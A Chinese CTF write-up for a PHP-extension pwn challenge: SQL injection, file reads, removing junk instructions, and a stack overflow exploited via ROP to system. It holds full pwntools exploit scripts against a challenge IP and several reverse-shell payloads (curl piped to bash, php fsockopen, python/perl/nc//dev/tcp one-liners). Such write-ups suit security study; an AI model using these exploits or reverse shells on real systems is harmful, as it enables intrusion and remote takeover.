本题前面是Web,SQL注入注出管理员的密码,然后能任意读取文件,发现php使用了一个自定义的函数,读取到这个函数的实现的动态链接库,去除花指令后发现有个栈溢出,但是在利用的过程中需要注意栈的使用情况。
- 附件:source.zip
- 源码:mixtrue
参考
分析
Web盲注啥的就不说了,单说Pwn的部分,拿到Minclude.so
后进行分析,zif_Minclude
就是php中Minclude函数具体的实现,至于开头为啥是zif,有人回答:'zif' stands for Zend Internal Function
,这个函数名是怎么生成的呢?php 内核探秘之 PHP_FUNCTION 宏。
发现IDA无法对zif_Minclude分析出正确的C代码,因为这里存在着花指令即这种代码:
.text:000000000000122E 50 push rax
.text:000000000000122F 48 31 C0 xor rax, rax
.text:0000000000001232 74 02 jz short next1
.text:0000000000001232 zif_Minclude endp ; sp-analysis failed
.text:0000000000001232
.text:0000000000001232 ; ---------------------------------------------------------------------------
.text:0000000000001234 E9 DE db 0E9h, 0DEh
.text:0000000000001236 ; ---------------------------------------------------------------------------
.text:0000000000001236 ; START OF FUNCTION CHUNK FOR zif_Minclude
.text:0000000000001236
.text:0000000000001236 next1: ; CODE XREF: zif_Minclude+12↑j
.text:0000000000001236 58 pop rax
.text:0000000000001237 48 C7 04 24 00 00 00 00 mov [rsp+98h+arg], 0
.text:000000000000123F 50 push rax
.text:0000000000001240 E8 01 00 00 00 call l2
.text:0000000000001240 ; END OF FUNCTION CHUNK FOR zif_Minclude
.text:0000000000001240 ; ---------------------------------------------------------------------------
.text:0000000000001245 EA db 0EAh
.text:0000000000001246
.text:0000000000001246 ; =============== S U B R O U T I N E =======================================
.text:0000000000001246
.text:0000000000001246
.text:0000000000001246 l2 proc near ; CODE XREF: zif_Minclude+20↑p
.text:0000000000001246 58 pop rax
.text:0000000000001247 48 83 C0 08 add rax, 8
.text:000000000000124B 50 push rax
.text:000000000000124C C3 retn
.text:000000000000124C l2 endp
.text:000000000000124C
.text:000000000000124D ; ---------------------------------------------------------------------------
.text:000000000000124D 58 push rax
顺着阅读一遍就发现其实啥都没干,所以这段直接patch掉就好,全部变成nop,接着第一次学习去除花指令的机会安装了keypatch插件,因为mac下需要编译libkeystone.dylib这个库,所以直接用了人家编译好的现成的keystone:
安装好keypatch插件直接选中如上代码,然后全patch成nop就好了,然后关于添加花指令以及IDA去除脚本:
然后在IDA中需要重新分析一遍这个函数,即undefine整个函数,然后重新create function即可分析出zif_Minclude函数
void __fastcall zif_Minclude(zend_execute_data *execute_data, zval *return_value)
{
zval *v2; // r12
unsigned __int64 v3; // rsi
FILE *v4; // rbx
__int64 v5; // rax
char *arg; // [rsp+0h] [rbp-98h]
size_t n; // [rsp+8h] [rbp-90h]
char a[100]; // [rsp+10h] [rbp-88h]
char *v9; // [rsp+74h] [rbp-24h]
v2 = return_value;
memset(a, 0, 0x60uLL);
*(_DWORD *)&a[96] = 0;
v9 = a;
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
{
memcpy(a, arg, n);
php_printf("%s", a);
php_printf("<br>", a);
v3 = (unsigned __int64)"rb";
v4 = fopen(a, "rb");
if ( v4 )
{
while ( !feof(v4) )
{
v3 = (unsigned int)fgetc(v4);
php_printf("%c", v3);
}
php_printf("\n", v3);
}
else
{
php_printf("no file\n", "rb");
}
v5 = zend_strpprintf(0LL, "True");
v2->value.lval = v5;
v2->u1.type_info = (*(_BYTE *)(v5 + 5) & 2u) < 1 ? 5126 : 6;
}
}
- 很明显在memcpy时n没有进行限制,且没有canary,栈溢出可以直接利用
char a[100]; // [rsp+10h] [rbp-88h]
,即IDA分析结果,0x88字节即可溢出- 并且
v9 = a;
,故意将栈地址放到了栈上可以进行泄露 - 内存布局可以通过读取文件系统中的
/proc/self/maps
进行泄露 - libc可以直接下载
但是和平时pwn有区别,这里的和我们的交互是apache,我们想看到执行的结果需要让apache正常返回,直接执行命令的输出是在apache的tty上,我们远程无法看到,所以需要反弹shell。
测试利用
sleep 成功
因为无法回显,所以通过调用sleep函数,测试是否劫持控制流成功,ROP的payload如下:
payload = "a"*0x88
payload += p64(pop_rdi) + p64(5) + p64(libc.symbols['sleep'])
完整exp如下,发现的确延迟返回了,证明控制流劫持成功。
from pwn import *
import requests,re
url = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()
def login():
paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
session.post(url+"/index.php", data=paramsPost)
def send(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]
def read(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return response.content[1517+len(payload):-1]
login()
# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
log.warn("libc: "+str(hex(libc.address)))
# gadget
pop_rdi = libc.address + 0x023a5f
payload = "a"*0x88
payload += p64(pop_rdi) + p64(5) + p64(libc.symbols['sleep'])
send(payload)
system 失败
但是我首先泄露栈地址,然后用system函数执行,怎么也无法成功,我认为应该毫无问题,卡在这整整两天,payload如下:
payload = "sleep 5\x00".ljust(0x88)
payload += p64(pop_rdi) + p64(stack) + p64(libc.symbols['system'])
完整exp如下,发现马上返回,没有成功sleep
from pwn import *
import requests,re
url = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()
def login():
paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
session.post(url+"/index.php", data=paramsPost)
def send(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]
def read(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return response.content[1517+len(payload):-1]
login()
# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
stack = u64(send('a'*0x64)[0x64:].ljust(8, b'\0'))
log.warn("stack: "+str(hex(stack)))
log.warn("libc: "+str(hex(libc.address)))
# gadget
pop_rdi = libc.address + 0x023a5f
payload = "sleep 5\x00".ljust(0x88)
payload += p64(pop_rdi) + p64(stack) + p64(libc.symbols['system'])
send(payload)
失败原因
这个小结就是批评与自我批评,古人叫吾日三省吾身,西方叫忏悔。
赛后看官方wp中有这么一句话:Notice that the address of the path is smaller than rsp when return, and next call system may cover it, so you should put your command behind.,这才恍然大悟,原来我放命令字符串的地址在调用system时可能会被覆盖。出题人的解释另一种可能是:fork时可能也只会复制高于rsp的栈空间中的内容。如图红色的部分可能会被system函数当成栈空间来使用,其中布置的数据可能遭到破坏。
所以我们在payload里最好还是将命令字符串往后面放,构造如图中的第二种payload。本题也让我们注意了,我们能控制内存的能力,在时间维度上是有变化的。我这次失败的本质原因,就是因为没有洞察到,当下构造好的数据可能在未来(真正被用到的时刻)会被破坏。不过也有放在前面成功的攻击方法,如下面完整exp的attack2方法,所以上面的猜想都是可能。
最终exp
这里参考以上的wp给出两种栈布局分别利用两种反弹shell方法的exp:
from pwn import *
import requests,re
url = "http://134.175.185.244"
libc = ELF("./libc.so")
session = requests.Session()
def login():
paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
session.post(url+"/index.php", data=paramsPost)
def send(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]
def read(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
return response.content[1517+len(payload):-1]
login()
# leak libc and stack
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
stack = u64(send('a'*0x64)[0x64:].ljust(8, b'\0'))
log.warn("stack: "+str(hex(stack)))
log.warn("libc: "+str(hex(libc.address)))
# gadget
pop_rdi = libc.address + 0x023a5f
pop4_ret = libc.address + 0x024568
def attack1():
payload = "a"*0x88
payload += p64(pop_rdi) + p64(stack+0xa0) + p64(libc.symbols['system'])
payload += "curl https://shell.now.sh/x.x.x.x:8888|bash\x00"
send(payload)
def attack2():
payload = "php -r '$sock=fsockopen(\"x.x.x.x\",8888);exec(\"bash -i <&3 >&3 2>&3\");'\x00".ljust(0x88)
payload += p64(pop_rdi)*10+p64(pop4_ret)+p64(0)*4
payload += p64(pop_rdi)+p64(stack)+p64(libc.symbols['system'])
send(payload)
attack2()
反弹shell之后还要跟一个程序进行交互才可以,这里也不分析方法了,不过提一下各种反弹shell方法的说明:
反弹shell
php
"php -r '$sock=fsockopen(\"x.x.x.x\",8888);exec(\"bash -i <&3 >&3 2>&3\");'\x00"
<?php
$sock=fsockopen("x.x.x.x",8888);
exec("bash -i <&3 >&3 2>&3");
?>
- 使用php -r直接执行php代码
- php使用fsockopen打开了一个连接到我们主机的流,因为是一个新的进程,所以对应的文件描述符是3
- 然后执行bash,将bash的输入输出和错误都定向到我们主机上:Bash 中的 & 符号和文件描述符
shell.now.sh
"curl https://shell.now.sh/x.x.x.x:8888|bash\x00"
打开这个网页发现,就是尝试用各种方法去反弹shell
# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
# nc -l 1337
#
# 2. On the target machine:
# curl https://shell.now.sh/yourip:1337 | sh
#
# 3. Don't be a dick
if command -v python > /dev/null 2>&1; then
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("x.x.x.x",8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
exit;
fi
if command -v perl > /dev/null 2>&1; then
perl -e 'use Socket;$i="x.x.x.x";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
exit;
fi
if command -v nc > /dev/null 2>&1; then
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 8888 >/tmp/f
exit;
fi
if command -v sh > /dev/null 2>&1; then
/bin/sh -i >& /dev/tcp/x.x.x.x/8888 0>&1
exit;
fi
自己瞎试
比赛的时候没想明白栈上的问题,导致试了一堆方法,甚至想通过php的函数让apache正常返回,将命令执行的结果塞到网页中,因此还研究半天php内核,因为想ROP到php的内核函数上,但最终无果,一堆乱七八糟的尝试如下:
from pwn import *
import requests,re
uu64 = lambda data :u64(data.ljust(8, b'\0'))
#url = "http://134.175.185.244"
url = "http://49.51.251.99"
libc = ELF("./libc.so")
minc = ELF("./Minclude.so")
session = requests.Session()
def login():
paramsPost = {"password":"goodlucktoyou","submit":"submit","username":"admin"}
session.post(url+"/index.php", data=paramsPost)
def send(payload):
paramsPost = {"submit":"submit","search":payload}
try:
response = session.post(url+"/select.php", data=paramsPost)
print response.content
return re.findall('\<\/form\>(.*?)\<br\>',response.content)[0]
except:
print "error"
def read(payload):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
#print response.content
return response.content[1517+len(payload):-1]
def down(payload,filename):
paramsPost = {"submit":"submit","search":payload}
response = session.post(url+"/select.php", data=paramsPost)
f = open(filename, "w")
f.write(response.content[1517+len(payload):-2])
login()
stack = uu64(send('a'*0x64)[0x64:])
some = uu64(send('a'*0x70)[0x70:])
down("/usr/lib/apache2/modules/libphp7.so","remotelibphp.so")
# down("/proc/self/maps","maps")
# down("/usr/local/lib/php/extensions/no-debug-non-zts-20170718/Minclude.so","Minc.so")
ret = 0x7f2fb1c111b4
libc.address = int('0x'+re.findall('(.*?)libc-2.28',read("/proc/self/maps"))[0][:12],16)
php_addr = int('0x'+re.findall('(.*?)libphp',read("/proc/self/maps"))[0][:12],16)
include_addr = int('0x'+re.findall('(.*?)Minclude',read("/proc/self/maps"))[0][:12],16)
log.warn("libc: "+str(hex(libc.address)))
log.warn("stack: "+str(hex(stack)))
log.warn("php: "+str(hex(php_addr)))
log.warn("some: "+str(hex(some)))
log.warn("Minclude: "+str(hex(include_addr)))
log.warn("ret: "+str(hex(ret-php_addr)))
pop_rdi = 0x23a5f + libc.address
pop_rsi = 0x2440e + libc.address
pop_rdx = 0x106725 + libc.address
pop_rax = 0x3a638 + libc.address
push_rax = 0x3680d + libc.address
ret1 = php_addr + 0x498670
ret2 = php_addr + 0x498816
ret3 = php_addr + 0x4EFD83
ret4 = php_addr + 0x4F645E
payload = 'a'*0x70+p64(some)+'a'*0x10
#payload += p64(pop_rdi)+p64(include_addr+0x2054)+p64(minc.plt['php_printf'])
payload += p64(ret)
#payload = +p64(include_addr+0x1368)+p64(ret)
send(payload)
# for i in range(0,255,1):
# print i
# payload = 'a'*0x70+p64(some)+'a'*0x10+chr(180)+chr(17)+chr(193)+chr(177)+chr(47)+chr(127)
# send(payload)
# payload = 'a'*0x88+p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])+p64(ret4)
# send(payload)
# down("/usr/lib/apache2/modules/libphp7.so","pwnlibphp.so")
# payload = 'a'*0x88+p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])
# payload = '/tmp/xuanxuan\x00'.ljust(0x88, 'a')
# payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(0x41)+p64(libc.symbols['open'])
# send(payload)
# for i in range (10000):
# test = stack + i*0xf
# log.warn(hex(test))
# session = requests.Session()
# payload = 's;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;s;wget http://xxxx:8888\x00'.ljust(0x88,'a')
# payload += p64(pop_rdi)+p64(test)+p64(libc.symbols['system'])
# #print payload
# send(payload)
#payload = '/bin/sleep\x005\x00'.ljust(0x88,'a')
#payload += p64(pop_rdi)+p64(0x5)+p64(libc.symbols['sleep'])
#payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(stack+12)+p64(libc.symbols['execl'])
# payload = 'a'*0x88
# payload += p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(0x41)+p64(libc.symbols['open'])
sudo apt-get install apache2-dev
--with-apxs2